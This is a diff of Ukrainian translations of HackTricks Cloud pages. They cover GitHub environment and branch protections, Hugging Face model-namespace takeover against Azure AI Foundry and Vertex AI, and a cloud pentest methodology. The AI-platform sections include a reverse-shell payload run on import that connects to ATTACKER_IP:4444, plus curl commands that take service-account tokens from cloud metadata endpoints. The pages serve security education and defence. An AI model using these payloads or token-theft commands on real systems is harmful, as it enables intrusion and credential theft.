+Github дозволяє створювати **environments**, де ви можете зберігати **secrets**. Потім ви можете надати github action доступ до secrets у цьому environment наступним чином:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-Additionally, environment protections include:
-- **Required reviewers**: gate jobs targeting the environment until approved. Enable **Prevent self-review** to enforce a proper four‑eyes principle on the approval itself.
-- **Deployment branches and tags**: restrict which branches/tags may deploy to the environment. Prefer selecting specific branches/tags and ensure those branches are protected. Note: the "Protected branches only" option applies to classic branch protections and may not behave as expected if using rulesets.
-- **Wait timer**: delay deployments for a configurable period.
+Ви можете налаштувати environment так, щоб він був доступний для **усіх гілок** (за замовчуванням), **тільки для захищених** гілок або **вказати**, які гілки можуть отримувати до нього доступ.\
+Додатково, захист environment включає:
+- **Required reviewers**: блокувати jobs, що націлені на environment, поки вони не будуть затверджені. Увімкніть **Prevent self-review**, щоб забезпечити справжній принцип «чотирьох очей» під час самої затвердження.
+- **Deployment branches and tags**: обмежувати, які гілки/теги можуть деплоїтись до environment. Краще вибирати конкретні гілки/теги і переконатись, що ці гілки захищені. Примітка: опція "Protected branches only" застосовується до класичних branch protections і може поводитись неочікувано при використанні rulesets.
+- **Wait timer**: відкладати деплой на конфігурований період.
 
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Там також можна вказати **кількість необхідних рев’ю** перед **виконанням** **action**, що використовує environment, або **чекати** деякий **час** перед тим, як дозволити продовження деплоїв.
 ### Git Action Runner
 
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+GitHub Action можна **виконувати всередині github environment** або виконувати у **інфраструктурі третьої сторони**, налаштованій користувачем.
 
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Декілька організацій дозволяють запускати GitHub Actions у **інфраструктурі третьої сторони**, оскільки це зазвичай **дешевше**.
 
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Ви можете **переглянути self-hosted runners** організації за адресою _https://github.com/organizations/\<org_name>/settings/actions/runners_
 
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Спосіб знайти, які **GitHub Actions виконуються у не-github інфраструктурі** — шукати `runs-on: self-hosted` у конфігураційному yaml для GitHub Action.
 
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Неможливо запустити GitHub Action організації всередині self hosted машини іншої організації, тому що **при конфігурації Runner генерується унікальний токен**, який вказує, до якої організації належить runner.
 
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Якщо кастомний **GitHub Runner налаштований на машині всередині AWS або GCP**, наприклад, Action **може мати доступ до metadata endpoint** і **вкрасти токен сервісного облікового запису**, під яким запущена машина.
 
 ### Git Action Compromise
 
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Якщо всім actions (або одному зловмисному action) дозволено виконання, користувач може використати **GitHub action**, який є **зловмисним**, і він **компрометує** **контейнер**, в якому виконується.
 
 > [!CAUTION]
 > A **malicious Github Action** run could be **abused** by the attacker to:
@@ -217,41 +217,41 @@ If all actions (or a malicious action) are allowed a user could use a **Github a
 
 ## Branch Protections
 
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch protections призначені, щоб **не давати користувачам повний контроль над репозиторієм**. Мета — **поставити кілька методів захисту перед тим, як можна буде записувати код у певну гілку**.
 
-The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+**Branch protections репозиторію** можна знайти за адресою _https://github.com/\<orgname>/\<reponame>/settings/branches_
 
 > [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Неможливо встановити branch protection на рівні організації. Тому всі їх треба оголошувати у кожному репозиторії окремо.
 
-Different protections can be applied to a branch (like to master):
+До гілки (наприклад master) можна застосувати різні захисти:
 
-- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place:
-- **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly.
-- **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it.
-- **Require approval of the most recent reviewable push**. Ensures that any new commits after an approval (including pushes by other collaborators) re-trigger review so an attacker cannot push post-approval changes and merge.
-- **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it)
-- **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews.
-- **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions.
-- **Require status checks to pass before merging.** Some checks need to pass before being able to merge the commit (like a GitHub App reporting SAST results). Tip: bind required checks to a specific GitHub App; otherwise any app could spoof the check via the Checks API, and many bots accept skip directives (e.g., "@bot-name skip").
-- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged.
-- **Require signed commits**. The commits need to be signed.
-- **Require linear history.** Prevent merge commits from being pushed to matching branches.
-- **Include administrators**. If this isn't set, admins can bypass the restrictions.
-- **Restrict who can push to matching branches**. Restrict who can send a PR.
+- Можна **вимагати PR перед merge** (щоб ви не могли безпосередньо мержити код у гілку). Якщо це вибрано, можуть бути активні й інші захисти:
+- **Вимагати певну кількість approvals**. Дуже часто вимагають 1 або 2 додаткових людей для approve PR, щоб один користувач не міг самостійно змінити код.
+- **Dismiss approvals when new commits are pushed**. Якщо цього не зробити, користувач може approve легітимний код, а потім додати зловмисний код і змержити його.
+- **Require approval of the most recent reviewable push**. Забезпечує, що будь-які нові коміти після approval (включно з пушами інших співпрацівників) ініціюють повторне рев’ю, тож атакер не зможе додати зміни після затвердження і змержити.
+- **Require reviews from Code Owners**. Потрібне принаймні 1 схвалення від code owner репозиторію (щоб "випадкові" користувачі не могли його approve).
+- **Restrict who can dismiss pull request reviews.** Можна вказати людей або команди, яким дозволено скасовувати рев’ю PR.
+- **Allow specified actors to bypass pull request requirements**. Ці користувачі зможуть обходити попередні обмеження.
+- **Require status checks to pass before merging.** Деякі перевірки повинні пройти перед тим, як можна буде змержити коміт (наприклад GitHub App, що звітує результати SAST). Порада: прив’язуйте required checks до конкретного GitHub App; інакше будь-який додаток може підробити перевірку через Checks API, і багато ботів приймають директиви пропуску (наприклад "@bot-name skip").
+- **Require conversation resolution before merging**. Всі коментарі в коді мають бути вирішені перед merge PR.
+- **Require signed commits**. Коміти мають бути підписані.
+- **Require linear history.** Запобігає пушу merge commits у відповідні гілки.
+- **Include administrators**. Якщо це не встановлено, адміністратори можуть обходити обмеження.
+- **Restrict who can push to matching branches**. Обмежує, хто може робити push у відповідні гілки.
 
 > [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Як бачите, навіть якщо вам вдалось отримати облікові дані користувача, **репозиторії можуть бути захищені й завадити вам запушити код у master**, наприклад, щоб скомпрометувати CI/CD.
 
 ## Tag Protections
 
-Tags (like latest, stable) are mutable by default. To enforce a four‑eyes flow on tag updates, protect tags and chain protections through environments and branches:
+Теги (наприклад latest, stable) за замовчуванням змінювані. Щоб забезпечити процес «чотирьох очей» при оновленнях тегів, захищайте теги і побудуйте ланцюг захистів через environments і гілки:
 
-1) On the tag protection rule, enable **Require deployments to succeed** and require a successful deployment to a protected environment (e.g., prod).
-2) In the target environment, restrict **Deployment branches and tags** to the release branch (e.g., main) and optionally configure **Required reviewers** with **Prevent self-review**.
-3) On the release branch, configure branch protections to **Require a pull request**, set approvals ≥ 1, and enable both **Dismiss approvals when new commits are pushed** and **Require approval of the most recent reviewable push**.
+1) У правилі захисту тега увімкніть **Require deployments to succeed** і вимагайте успішного деплою у захищене environment (наприклад prod).
+2) У цільовому environment обмежте **Deployment branches and tags** до релізної гілки (наприклад main) і за бажанням налаштуйте **Required reviewers** з **Prevent self-review**.
+3) У релізній гілці налаштуйте branch protections, щоб **Require a pull request**, встановіть approvals ≥ 1, і увімкніть як **Dismiss approvals when new commits are pushed**, так і **Require approval of the most recent reviewable push**.
 
-This chain prevents a single collaborator from retagging or force-publishing releases by editing workflow YAML, since deployment gates are enforced outside of workflows.
+Цей ланцюг запобігає тому, щоб один співпрацівник переклеїв тег або примусово опублікував реліз, редагуючи workflow YAML, оскільки gates деплою контролюються поза workflows.
 
 ## References
 

src/pentesting-cloud/azure-security/az-post-exploitation/az-azure-ai-foundry-post-exploitation.md

@@ -1,18 +1,18 @@
-# Azure - AI Foundry Post-Exploitation via Hugging Face Model Namespace Reuse
+# Azure - AI Foundry Post-Exploitation через повторне використання простору імен моделі Hugging Face
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Сценарій
 
-- Azure AI Foundry Model Catalog містить багато моделей Hugging Face (HF) для розгортання в один клік.
-- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляється, будь-хто може повторно зареєструвати цього автора й опублікувати модель з тим самим ModelName за legacy path.
-- Pipelines і catalogs, що витягують лише за іменем (без commit pinning/integrity), будуть резолвитися на attacker-controlled repos. Коли Azure розгортає модель, loader code може виконатися в середовищі endpoint, надаючи RCE з правами цього endpoint.
+- Каталог моделей Azure AI Foundry містить багато моделей Hugging Face (HF) для розгортання в один клік.
+- Ідентифікатори моделей HF мають формат Author/ModelName. Якщо HF author/org видаляють, будь-хто може повторно зареєструвати цей авторський акаунт і опублікувати модель з тим самим ModelName на legacy-шляху.
+- Pipelines та каталоги, які витягують лише за ім'ям (без commit pinning/цілісності), будуть посилатися на репозиторії, контрольовані атакуючим. Коли Azure розгортає модель, код завантажувача (loader) може виконатися в середовищі endpoint'а, надаючи RCE з правами цього endpoint'а.
 
-Типові випадки takeover у HF:
-- Ownership deletion: Old path 404 until takeover.
-- Ownership transfer: Old path 307 to the new author while old author exists. If the old author is later deleted and re-registered, the redirect breaks and the attacker’s repo serves at the legacy path.
+Поширені випадки takeover HF:
+- Ownership deletion: старий шлях повертає 404 до моменту захоплення.
+- Ownership transfer: старий шлях повертає 307 на нового автора, поки старий автор існує. Якщо старого автора пізніше видалено і повторно зареєстровано, перенаправлення ламається, і репозиторій атакуючого обслуговується на legacy-шляху.
 
-## Виявлення повторно використовуваних просторів імен (HF)
+## Виявлення іменних просторів, придатних для повторного використання (HF)
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/available
@@ -21,14 +21,14 @@ curl -I https://huggingface.co/<Author>        # 200 exists, 404 deleted/availab
 curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 -> redirect (transfer case), 404 -> deleted until takeover
 ```
-## Повний ланцюг атаки проти Azure AI Foundry
+## End-to-end Attack Flow against Azure AI Foundry
 
-1) У Model Catalog знайдіть HF models, у яких оригінальних авторів видалили або передали (old author removed) на HF.  
+1) У Model Catalog знайдіть HF models, у яких оригінальні автори були видалені або передані (old author removed) на HF.  
 2) Повторно зареєструйте покинутого автора на HF і відтворіть ModelName.  
-3) Опублікуйте шкідливий repo з loader code, який виконується при import або вимагає trust_remote_code=True.  
-4) Розгорніть legacy Author/ModelName з Azure AI Foundry. Платформа підтягує attacker repo; loader виконується всередині Azure endpoint container/VM, що призводить до RCE з правами endpoint.
+3) Опублікуйте зловмисний repo з loader code, який виконується при import або потребує trust_remote_code=True.  
+4) Розгорніть у Azure AI Foundry спадщинний Author/ModelName. Платформа витягує репозиторій нападника; loader виконується всередині Azure endpoint container/VM, що дає RCE з правами endpoint.
 
-Приклад фрагмента payload, що виконується при import (лише для демонстрації):
+Example payload fragment executed on import (for demonstration only):
 ```python
 # __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -47,40 +47,40 @@ threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Примітки
 - AI Foundry deployments that integrate HF typically clone and import repo modules referenced by the model’s config (e.g., auto_map), which can trigger code execution. Some paths require trust_remote_code=True.
-- Доступ зазвичай відповідає дозволам managed identity/service principal кінцевої точки. Розглядайте це як початкову точку доступу для отримання даних та латерального переміщення в межах Azure.
+- Access usually matches the endpoint’s managed identity/service principal permissions. Treat it as an initial access foothold for data access and lateral movement within Azure.
 
 ## Поради після експлуатації (Azure Endpoint)
 
-- Перелічіть змінні середовища та MSI endpoints для токенів:
+- Перелічте змінні середовища та MSI endpoints для токенів:
 ```bash
 # Azure Instance Metadata Service (inside Azure compute)
 curl -H "Metadata: true" \
 "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
 ```
-- Перевірте змонтоване сховище, артефакти моделей і доступні служби Azure за допомогою отриманого токена.
-- Розгляньте можливість персистенції, залишаючи отруєні артефакти моделей, якщо платформа повторно завантажує їх з HF.
+- Перевірте змонтоване сховище, артефакти моделі та доступні Azure services за допомогою отриманого token.
+- Розгляньте persistence, залишивши отруєні артефакти моделі, якщо платформа повторно витягує з HF.
 
-## Захисні рекомендації для користувачів Azure AI Foundry
+## Рекомендації з захисту для користувачів Azure AI Foundry
 
-- Закріплюйте моделі за конкретним комітом при завантаженні з HF:
+- Закріплюйте моделі за commit під час завантаження з HF:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Реплікуйте перевірені HF моделі до довіреного внутрішнього реєстру і розгортайте звідти.
-- Безперервно скануйте codebases і defaults/docstrings/notebooks на предмет жорстко прописаних Author/ModelName, які видалено/перенесено; оновлюйте або pin.
-- Перевіряйте існування автора та походження моделі перед розгортанням.
+- Розміщуйте перевірені HF models у довірчому внутрішньому registry та розгортайте звідти.
+- Постійно скануйте codebases та defaults/docstrings/notebooks на предмет жорстко вбудованих Author/ModelName, які видалені/перенесені; оновлюйте або зафіксуйте (pin).
+- Перевіряйте існування author та походження (provenance) model перед розгортанням.
 
 ## Евристики розпізнавання (HTTP)
 
-- Видалений автор: сторінка автора повертає 404; legacy model path повертає 404 до моменту takeover.
-- Перенесена модель: legacy path повертає 307 на нового автора, поки старий автор існує; якщо старий автор пізніше буде видалений і перереєстрований, legacy path слугуватиме attacker content.
+- Видалений author: сторінка author повертає 404; legacy model path повертає 404 до моменту takeover.
+- Transferred model: legacy path повертає 307 на нового author поки старий author існує; якщо старий author пізніше видаляють і повторно реєструють, legacy path може сервувати зловмисний контент.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Перехресні посилання
 
-- Див. ширшу методологію та зауваження щодо ланцюга постачання:
+- Див. загальну методологію та нотатки щодо ланцюга постачання:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md

src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-vertex-ai-post-exploitation.md

@@ -2,22 +2,22 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Сценарій
+## Scenario
 
-- Vertex AI Model Garden дозволяє безпосереднє розгортання багатьох Hugging Face (HF) моделей.
-- HF ідентифікатори моделей мають формат Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути повторно зареєстроване будь-ким. Атакуючі можуть створити репозиторій з тим самим ModelName за тим самим старим шляхом.
-- Пайплайни, SDKs або хмарні каталоги, які отримують модель лише за іменем (без pinning/integrity), завантажать репозиторій, контрольований атакуючим. Коли модель розгортається, код завантажувача з цього репозиторію може виконатися всередині контейнера кінцевої точки Vertex AI, що дає RCE з правами кінцевої точки.
+- Vertex AI Model Garden дозволяє безпосередньо розгортати багато Hugging Face (HF) моделей.
+- HF model identifiers are Author/ModelName. Якщо автор/організація на HF видаляється, те саме ім'я автора може бути перереєстроване будь-ким. Атакуючі можуть створити repo з тим самим ModelName за старим шляхом.
+- Pipelines, SDKs, або cloud catalogs, які підтягують за ім'ям (без pinning/integrity), підтягнуть repo під контролем атакуючого. Коли модель буде розгорнута, loader code з цього repo може виконатися всередині контейнера endpoint Vertex AI, надаючи RCE з дозволами endpoint.
 
-Два поширені випадки takeover на HF:
-- Ownership deletion: старий шлях повертає 404, поки хтось не зареєструє автора і не опублікує той самий ModelName.
-- Ownership transfer: HF повертає 307 redirect з старого Author/ModelName до нового автора, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований атакуючим, ланцюжок редиректів буде порвано і репозиторій атакуючого обслуговуватиме застарілий шлях.
+Two common takeover cases on HF:
+- Ownership deletion: Старий шлях повертає 404, поки хтось не перереєструє автора і не опублікує той самий ModelName.
+- Ownership transfer: HF повертає 307 редиректи зі старого Author/ModelName на нового автора. Якщо старий автор пізніше видаляється і його ім'я перереєструє атакуючий, ланцюжок редиректів буде порушений і repo атакуючого обслуговуватиме старий шлях.
 
-## Визначення повторно використовуваних просторів імен (HF)
+## Identifying Reusable Namespaces (HF)
 
-- Старий автор видалений: сторінка автора повертає 404; шлях моделі може повертати 404, поки не відбудеться takeover.
-- Передані моделі: старий шлях моделі повертає 307 до нового власника, поки старий автор існує. Якщо старий автор пізніше буде видалений і повторно зареєстрований, застарілий шлях буде вказувати на репозиторій атакуючого.
+- Old author deleted: сторінка автора повертає 404; шлях до моделі може повертати 404 до takeover.
+- Transferred models: старий шлях моделі повертає 307 на нового власника, поки старий автор існує. Якщо старий автор пізніше видаляється і його ім'я перереєструють, legacy path буде вказувати на repo атакуючого.
 
-Швидкі перевірки за допомогою curl:
+Quick checks with curl:
 ```bash
 # Check author/org existence
 curl -I https://huggingface.co/<Author>
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
 # 307 = redirect to new owner (transfer case)
 # 404 = missing (deletion case) until someone re-registers
 ```
-## Повний сценарій атаки проти Vertex AI
+## Повний ланцюг атаки проти Vertex AI
 
-1) Виявити повторно використовувані простори імен моделей, які Model Garden відображає як deployable:
-- Знайти HF models у Vertex AI Model Garden, які досі показуються як “verified deployable”.
-- Перевірити на HF, чи оригінальний автор видалений або чи модель була передана і старий автор пізніше видалений.
+1) Виявити повторно використовувані неймспейси моделей, які Model Garden позначає як deployable:
+- Знайти HF models у Vertex AI Model Garden, які все ще відображаються як “verified deployable”.
+- Перевірити на HF, чи оригінальний author видалений, або чи модель була передана і старий author пізніше видалений.
 
-2) Повторно зареєструвати видаленого автора на HF та відтворити той самий ModelName.
+2) Повторно зареєструвати видаленого author на HF та відтворити той самий ModelName.
 
-3) Publish a malicious repo. Include code that executes on model load. Examples that commonly execute during HF model load:
-- Побічні ефекти в __init__.py репо
-- Custom modeling_*.py або processing code, на які посилається config/auto_map
-- Code paths that require trust_remote_code=True in Transformers pipelines
+3) Опублікувати шкідливий repo. Включити код, який виконується під час model load. Приклади, які зазвичай виконуються під час HF model load:
+- Побічні ефекти в __init__.py репозиторію
+- Custom modeling_*.py або processing код, на який посилається config/auto_map
+- Шляхи коду, які потребують trust_remote_code=True у Transformers pipelines
 
-4) A Vertex AI deployment of the legacy Author/ModelName now pulls the attacker repo. The loader executes inside the Vertex AI endpoint container.
+4) Розгортання у Vertex AI для спадкового Author/ModelName тепер підтягує репозиторій зловмисника. Лоадер виконується всередині контейнера Vertex AI endpoint.
 
-5) Payload establishes access from the endpoint environment (RCE) with the endpoint’s permissions.
+5) Payload встановлює доступ із середовища endpoint (RCE) з правами endpoint’а.
 
-Example payload fragment executed on import (for demonstration only):
+Приклад фрагмента payload, що виконується при import (тільки для демонстрації):
 ```python
 # Place in __init__.py or a module imported by the model loader
 import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
 threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
 ```
 Примітки
-- Реальні loaders відрізняються. Багато інтеграцій Vertex AI HF клонує та імпортує модулі з repo, на які посилається конфіг моделі (наприклад, auto_map), що може спричинити виконання коду. Деякі випадки вимагають trust_remote_code=True.
-- Зазвичай endpoint запускається в окремому контейнері з обмеженою сферою, але це дійсна початкова опора для доступу до даних та lateral movement у GCP.
+- Реальні лоадери можуть відрізнятися. Багато інтеграцій Vertex AI HF клонують та імпортують модулі з репозиторіїв, на які посилається конфігурація моделі (наприклад, auto_map), що може призвести до виконання коду. Для деяких випадків необхідно trust_remote_code=True.
+- The endpoint typically runs in a dedicated container with limited scope, but it is a valid initial foothold for data access and lateral movement in GCP.
 
 ## Post-Exploitation Tips (Vertex AI Endpoint)
 
 Once code is running inside the endpoint container, consider:
-- Перелічити environment variables та metadata для credentials/tokens
-- Отримати доступ до attached storage або змонтованих model artifacts
+- Перелічити змінні оточення та метадані для виявлення облікових даних/токенів
+- Отримати доступ до приєднаного сховища або змонтованих артефактів моделі
 - Взаємодіяти з Google APIs через service account identity (Document AI, Storage, Pub/Sub, etc.)
-- Persistence у model artifact якщо платформа re-pulls repo
+- Забезпечити персистенцію в артефакті моделі, якщо платформа повторно витягує репозиторій
 
-Перелічте instance metadata, якщо доступно (залежить від контейнера):
+Enumerate instance metadata if accessible (container dependent):
 ```bash
 curl -H "Metadata-Flavor: Google" \
 http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
 ```
-## Захисні рекомендації для користувачів Vertex AI
+## Рекомендації з безпеки для користувачів Vertex AI
 
-- Закріплюйте моделі за commit у HF loaders, щоб запобігти тихому заміщенню:
+- Закріплюйте моделі за commit у HF loaders, щоб запобігти прихованій заміні:
 ```python
 from transformers import AutoModel
 m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
 ```
-- Зберігайте перевірені HF models у довіреному внутрішньому artifact store/registry і розгортайте їх звідти.
-- Постійно скануйте репозиторії коду та конфіги на наявність жорстко закодованих Author/ModelName, які були видалені/перенесені; оновлюйте до нових namespaces або фіксуйте (pin) на коміті.
+- Реплікуйте перевірені HF models у довірений внутрішній artifact store/registry і розгортайте звідти.
+- Постійно скануйте codebases і configs на наявність захардкоджених Author/ModelName, які були deleted/transferred; оновлюйте на нові namespaces або закріплюйте за конкретним commit.
 - У Model Garden перевіряйте походження моделі та існування автора перед розгортанням.
 
-## Евристики виявлення (HTTP)
+## Евристики розпізнавання (HTTP)
 
-- Видалений автор: сторінка автора повертає 404; старий шлях до моделі повертає 404 до моменту takeover.
-- Перенесена модель: старий шлях дає 307 на нового автора, поки старий автор існує; якщо старого автора згодом видалять і зареєструють заново, старий шлях може віддавати контент від атакуючого.
+- Видалений автор: author page 404; legacy model path 404 до takeover.
+- Передана модель: legacy path 307 на нового автора, поки старий автор існує; якщо старого автора пізніше видалять і повторно зареєструють, legacy path починає віддавати attacker content.
 ```bash
 curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
 ```
 ## Перехресні посилання
 
-- Див. ширшу методологію та зауваження щодо ланцюга постачання:
+- Див. ширшу методологію та нотатки щодо ланцюга постачання:
 
 {{#ref}}
 ../../pentesting-cloud-methodology.md

src/pentesting-cloud/pentesting-cloud-methodology.md

@@ -1,4 +1,4 @@
-# Pentesting Хмарна методологія
+# Pentesting Cloud Методологія
 
 {{#include ../banners/hacktricks-training.md}}
 
@@ -6,39 +6,39 @@
 
 ## Базова методологія
 
-Кожна хмара має свої особливості, але загалом є кілька **загальних речей, які pentester повинен перевірити**, тестуючи хмарне середовище:
+Кожна cloud має свої особливості, але загалом є кілька **спільних речей, які повинен перевірити pentester** під час тестування cloud-середовища:
 
 - **Перевірки бенчмарку**
-- Це допоможе вам **зрозуміти розміри** середовища та **використовувані сервіси**
-- Також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих перевірок можна виконати за допомогою **automated tools**
-- **Перерахування сервісів**
-- Швидше за все ви не знайдете набагато більше misconfigurations тут, якщо правильно виконали бенчмарк-перевірки, але можете знайти ті, які не шукали під час бенчмарку.
-- Це дозволить вам знати **що саме використовується** в хмарному середовищі
-- Це дуже допоможе на наступних кроках
-- **Перевірка відкритих ресурсів**
-- Це можна зробити під час попереднього розділу — потрібно **знайти все, що потенційно доступне з Інтернету** і як до цього можна отримати доступ.
-- Тут маю на увазі **вручну виставлену інфраструктуру** — наприклад інстанси з веб-сторінками або з відкритими портами, а також інші **керовані хмарні сервіси, які можна налаштувати як відкриті** (наприклад DBs або buckets)
-- Далі потрібно перевірити **чи може цей ресурс бути доступним** (конфіденційна інформація? вразливості? misconfigurations у відкритому сервісі?)
-- **Перевірка дозволів**
-- Тут потрібно **виявити всі дозволи кожної ролі/користувача** всередині хмари і як вони використовуються
-- Занадто **багато облікових записів з високими привілеями** (контролюють усе)? Згенеровані ключі не використовуються?... Більшість цих перевірок уже має бути виконано під час бенчмарку
-- Якщо клієнт використовує OpenID або SAML або іншу **federation**, можливо, вам доведеться попросити додаткову **інформацію** про **як призначається кожна роль** (це не те саме, коли роль admin призначена 1 користувачу чи 100)
-- Недостатньо просто знайти, які користувачі мають права admin "\*:\*". Є багато **інших дозволів**, які залежно від використаних сервісів можуть бути дуже **чутливими**.
-- Більше того, існують **потенційні privesc** шляхи, які можна використати, зловживаючи дозволами. Усі ці речі треба врахувати і **задокументувати якомога більше privesc шляхів**.
-- **Перевірка інтеграцій**
-- Дуже ймовірно, що всередині хмарного середовища використовуються **інтеграції з іншими хмарами або SaaS**.
-- Для **інтеграцій між хмарою, яку ви аудитуєте, та іншими платформами** ви повинні повідомити **хто має доступ (для зловживання) цією інтеграцією** і запитати **наскільки чутлива дія**, яка виконується.\
-Наприклад, хто може записувати в AWS bucket, з якого GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних).
-- Для **інтеграцій всередині хмари, яку ви аудитуєте, з зовнішніх платформ**, ви повинні запитати **хто має зовнішній доступ (для зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\
-Наприклад, якщо сервіс використовує Docker image, розміщений у GCR, потрібно дізнатися, хто має доступ змінювати його і яку чутливу інформацію та доступ отримає цей image при виконанні всередині AWS cloud.
+- Це допоможе вам **зрозуміти розмір** середовища та **використовувані сервіси**
+- Це також дозволить знайти деякі **швидкі misconfigurations**, оскільки більшість цих тестів можна виконати за допомогою **automated tools**
+- **Services Enumeration**
+- Якщо ви правильно провели перевірки бенчмарку, ймовірно, тут ви не знайдете значно більше misconfigurations, але можете знайти ті, які не шукали під час бенчмарку.
+- Це дозволить вам зрозуміти **що саме використовується** в cloud-середовищі
+- Це дуже допоможе в наступних кроках
+- **Check exposed assets**
+- Це можна зробити під час попереднього розділу, вам потрібно **знайти все, що потенційно якось доступне з Інтернету**, і як до цього можна отримати доступ.
+- Тут я маю на увазі **мануально експоновану інфраструктуру** — наприклад інстанси з веб-сторінками або іншими відкритими портами, а також інші **cloud managed services, які можуть бути налаштовані** як експоновані (наприклад DBs або buckets)
+- Потім потрібно перевірити **чи може цей ресурс бути експонований чи ні** (конфіденційна інформація? вразливості? misconfigurations в експонованому сервісі?)
+- **Check permissions**
+- Тут потрібно **виявити всі права кожної ролі/користувача** в хмарі та як вони використовуються
+- Занадто багато **високопривілейованих** (контролюють все) облікових записів? Згенеровані ключі не використовуються?… Більшість цих перевірок вже повинні були бути виконані під час бенчмарку
+- Якщо клієнт використовує OpenID або SAML або іншу **федерацію**, вам можливо доведеться попросити у них додаткову **інформацію** про **те, як призначається кожна роль** (не одне й те саме, коли роль admin призначена 1 користувачу або 100)
+- Недостатньо просто знайти, які користувачі мають права **admin** "\*:\*". Є багато **інших прав**, які в залежності від використаних сервісів можуть бути дуже **чутливими**.
+- Більше того, існують **потенційні privesc** шляхи для аб’юзу прав. Усі ці речі слід враховувати і слід повідомити **якомога більше privesc paths**.
+- **Check Integrations**
+- Дуже ймовірно, що всередині cloud-середовища використовуються **integrations з іншими clouds або SaaS**.
+- Для **інтеграцій cloud, який ви аудитуєте**, з іншими платформами слід вказати **хто має доступ для (зловживання) цією інтеграцією** і запитати **наскільки чутливою** є дія, що виконується.\
+Наприклад, хто може записувати в AWS bucket, звідки GCP отримує дані (запитайте, наскільки чутлива дія в GCP при обробці цих даних).
+- Для **інтеграцій всередині cloud, який ви аудитуєте**, з зовнішніх платформ слід запитати **хто має зовнішній доступ для (зловживання) цією інтеграцією** і перевірити, як ці дані використовуються.\
+Наприклад, якщо сервіс використовує Docker image, розміщений в GCR, потрібно дізнатися, хто має доступ модифікувати його і які чутливі дані та доступи отримає цей образ при виконанні всередині AWS cloud.
 
-## Інструменти для Multi-Cloud
+## Інструменти Multi-Cloud
 
-Існує кілька інструментів, які можна використовувати для тестування різних хмарних середовищ. Кроки встановлення та посилання будуть наведені в цьому розділі.
+Є кілька інструментів, які можна використовувати для тестування різних cloud-середовищ. Кроки встановлення та посилання будуть вказані в цьому розділі.
 
 ### [PurplePanda](https://github.com/carlospolop/purplepanda)
 
-Інструмент для **виявлення неправильних конфігурацій і privesc шляхів у хмарах та між хмарами/SaaS.**
+Інструмент для **виявлення неправильних конфігурацій та privesc path у clouds та між clouds/SaaS.**
 
 {{#tabs }}
 {{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
 
 ### [Prowler](https://github.com/prowler-cloud/prowler)
 
-Він підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера на [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
+Підтримує **AWS, GCP & Azure**. Перегляньте, як налаштувати кожного провайдера в [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
 ```bash
 # Install
 pip install prowler
@@ -168,9 +168,9 @@ steampipe check all
 ```
 <details>
 
